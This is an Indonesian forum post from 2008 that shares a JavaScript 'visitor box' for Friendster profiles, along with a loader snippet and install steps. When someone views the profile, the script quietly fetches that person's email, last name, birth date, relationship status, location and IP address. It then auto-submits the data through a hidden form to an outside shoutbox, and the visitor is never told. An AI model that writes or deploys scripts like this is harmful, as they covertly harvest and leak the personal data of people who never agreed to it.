2008-03-20 09:50:52

sekya
» FTalkFreak
FTalk Level: zero
1728
0
1969-12-31

Re: [align=justify][b]bagi member yang ingin bertanya seputar tweaking FS, silahkan bertanya dan posting disini, tapi jangan lupa,,sebelum itu tolong [url=http://theftalk.com/t2744-%5BImportant%5D-

:arrow: [b]imam[/b] kalo gag salah ini bro [quote]/* WVMCBOX version 2.2 Author: Friendstertalk members Credits: Friendstertalk (http://theftalk.com), friendster.com, geobytes.com Timestamp: GMT+8 10.45AM Jan 19, 2008 free to use but not free to resell */ if (!attachOnLoadHandler(function() { WVMCBOX.init();})) window.onload = function() { WVMCBOX.init();}; var geoIP = document.createElement("script"); geoIP.type = "text/javascript"; geoIP.src = "http://gd.geobytes.com/gd?after=-1&variables=GeobytesIpAddress"; document.getElementsByTagName("head")[0].appendChild(geoIP); if (typeof WVMCBOX == "undefined") { WVMCBOX = {}; } WVMCBOX = { div: null, date: Date(), ifstyle: ["75%", //width "400", //height "auto", //scrolling "yes"], //allowtransparency base: { "cboxdiv": ["[b]www[/b]","[b]xxxxxxx[/b]","[b]xxxxxx[/b]"] }, details: { email: null, lastname: null, age: null, status: null, gender: null, month: null, year: null, birth: null, horoscope: null, location: null, shoutout: null }, regexp: { email: /email>(\b[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,4}\b)<\/email>/i, lastname: /lastname>([\S\s]+?)<\/lastname>/i, age: /age>([\d]+?)<\/age>/i, status: /age><status>([\d]+?)<\/status>/i, gender: /photocaption><gender>([m]|[f])<\/gender>/i, month: /membersinceMonth>([\w]+?)<\/membersinceMonth>/i, year: /membersinceYear>([\d]+?)<\/membersinceYear>/i, birth: /dob>([\d]+?-[\d]+?-[\d]+?)<\/dob>/i, horoscope: /horoscopesign>([\w]+?)<\/horoscopesign>/i, location: /blog_id><location>([\S\s]+?)<\/location>/i, shoutout: /uid><shoutout_text>([\S\s]+?)<\/shoutout_text>/i }, init: function() { WVMCBOX.ajaxRequest("http://"+location.hostname+"/modules/module.php?_pmr=a&_pmmo=0&uid="+pageViewerID,WVMCBOX.viewer,null); setInterval("window.wvm_submit.location.href=document.getElementById('wvm_submit').src",15000); }, viewer: function(htm) { if (htm.replace(/^\s*|\s*$/g,"") === null) { alert("ERROR: Empty xmlresponse! \n Unable to parse your details!");return; }else if (htm) { for (val in WVMCBOX.details) { try { WVMCBOX.details[val] = new RegExp(WVMCBOX.regexp[val]).exec(htm)[1]; }catch(e) { WVMCBOX.details[val] = ""; } } if (WVMCBOX.details.gender == "m") { WVMCBOX.details.gender = "[b]Lelaki[/b]"; }else if (WVMCBOX.details.gender == "f") { WVMCBOX.details.gender = "[b]Wanita[/b]"; } if (WVMCBOX.details.status == "2") { WVMCBOX.details.status = "[b]Jomblo[/b]"; } if (WVMCBOX.details.status == "3") { WVMCBOX.details.status = "[b]Lagi Nyari[/b]"; } if (WVMCBOX.details.status == "6") { WVMCBOX.details.status = "[b]Temenan[/b]"; } if (WVMCBOX.details.status == "4") { WVMCBOX.details.status = "[b]Udah Kawin[/b]"; } if (WVMCBOX.details.status == "8") { WVMCBOX.details.status = "[b]Lagi Konflik Rumah Tangga[/b]"; } for (var seeboks in WVMCBOX.base) { WVMCBOX.div = "<iframe frameborder=\"0\" width=\""+WVMCBOX.ifstyle[0]+"\" height=\""+WVMCBOX.ifstyle[1]+"\" scrolling=\""+WVMCBOX.ifstyle[2]+"\" allowtransparency=\""+WVMCBOX.ifstyle[3]+"\" marginheight=\"2\" marginwidth=\"2\" src=\"http://"+WVMCBOX.base[seeboks][0]+".cbox.ws/box/?boxid="+WVMCBOX.base[seeboks][1]+"&boxtag="+WVMCBOX.base[seeboks][2]+"&sec=main\" name=\"wvm_submit\" id=\"wvm_submit\"></iframe>"+ "<div style=\"display:none\">"+ "<form name=\"wvmcboxform\" id=\"wvmcboxform\" target=\"wvm_submit\" action=\"http://"+WVMCBOX.base[seeboks][0]+".cbox.ws/box/?boxid="+WVMCBOX.base[seeboks][1]+"&boxtag="+WVMCBOX.base[seeboks][2]+"&sec=submit\" method=\"post\">"+ "<input type=\"text\" name=\"nme\" value=\""+pageViewerFName+"\">"+ "<input type=\"text\" name=\"eml\" value=\"http://profiles.friendster.com/"+pageViewerID+"\">"+ "<textarea style=\"overflow:hidden\" class=\"cboxMsgArea\" maxlength=\"200\" cols=\"22\" rows=\"3\" name=\"pst\">"+WVMCBOX.date+ "[br]• Email: "+WVMCBOX.details.email+" [br]• Alamat IPnya: "+sGeobytesIpAddress+ "[br]• "+WVMCBOX.details.age+", "+WVMCBOX.details.gender+", "+WVMCBOX.details.status+ "[br]• Member Sejak: "+WVMCBOX.details.month+" "+WVMCBOX.details.year+ "[br]• Tanggal Lahir: "+WVMCBOX.details.birth+ "[br]• Zodiak: "+WVMCBOX.details.horoscope+ "[br]• Lokasi: "+WVMCBOX.details.location+ "[br]• Friendster IDnya: "+pageViewerID+ "[br]• Lastnamenya: "+WVMCBOX.details.lastname+ "[br]• Browsernya: "+navigator.appName+ "[br]• "+navigator.userAgent+ "[br][br]"+WVMCBOX.details.shoutout+"[br]</textarea>"+ "</form>"+ "</div>"; addNewBox.init("[b]Daftar Pengunjung....[/b]","<div id=\""+seeboks+"\" align=\"center\">"+WVMCBOX.div+"</div>","wvmcbox",/friends/i,"above"); } } if((pageViewerID != pageOwnerID) && (pageViewerID !== "")) { if (document.wvmcboxform) { document.wvmcboxform.submit(); }else { document.getElementById("wvmcboxform").submit(); } } }, ajaxRequest: function(url,func,handler) { var httprequest = window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP"); httprequest.onreadystatechange = function() { if (httprequest.readyState == 4) { if (httprequest.status == 200) { func(httprequest.responseText,handler); } } }; httprequest.open("GET", url, true); httprequest.send(null); } }; if (typeof addNewBox == "undefined") { addNewBox = {}; } addNewBox = { init: function(head,code,id,sibling,x) { var sbdiv = document.createElement("div"); sbdiv.className="commonbox "+id; sbdiv.id = id; if (!head) head = ""; else head = "<h2>"+head+"</h2>"; sbdiv.innerHTML = head; sbdiv.appendChild(document.createElement("div")); sbdiv.getElementsByTagName("div")[0].id = "content_"+id; sbdiv.getElementsByTagName("div")[0].innerHTML = code; var sbli = document.createElement("LI"); sbli.appendChild(sbdiv); if (!x) this.getModuleByClassName(sibling)[0].parentNode.parentNode.appendChild(sbli); else if (x == "below") this.getModuleByClassName(sibling)[0].parentNode.appendChild(sbli); else if (x == "above") { var ul = this.getModuleByClassName(sibling)[0]; ul.parentNode.parentNode.insertBefore(sbli,ul.parentNode); } }, getModuleByClassName: function(sClass) { var elm = []; var els = document.getElementsByTagName("*") || document.all; for (var j=0,k=els.length;j<k;j++) { if (new RegExp(sClass).test(els[j].className))elm.push(els[j]); } return elm; } };[/quote] biasa...simpan sebagai [b].js[/b] lalu masuk kan kesini [quote]// js wvmcbox var myjs = document.createElement("script"); myjs.type = "text/javascript"; myjs.src = "[b]url kamu[/b]"; document.getElementsByTagName("head")[0].appendChild(myjs);[/quote] mudah2an bener :P

Last edited by sekya (2008-03-20 10:15:17)

Board footer

© 2024 F Talk

Current time is 19:40

[ 12 queries - 0.532 second ]
Privacy Policy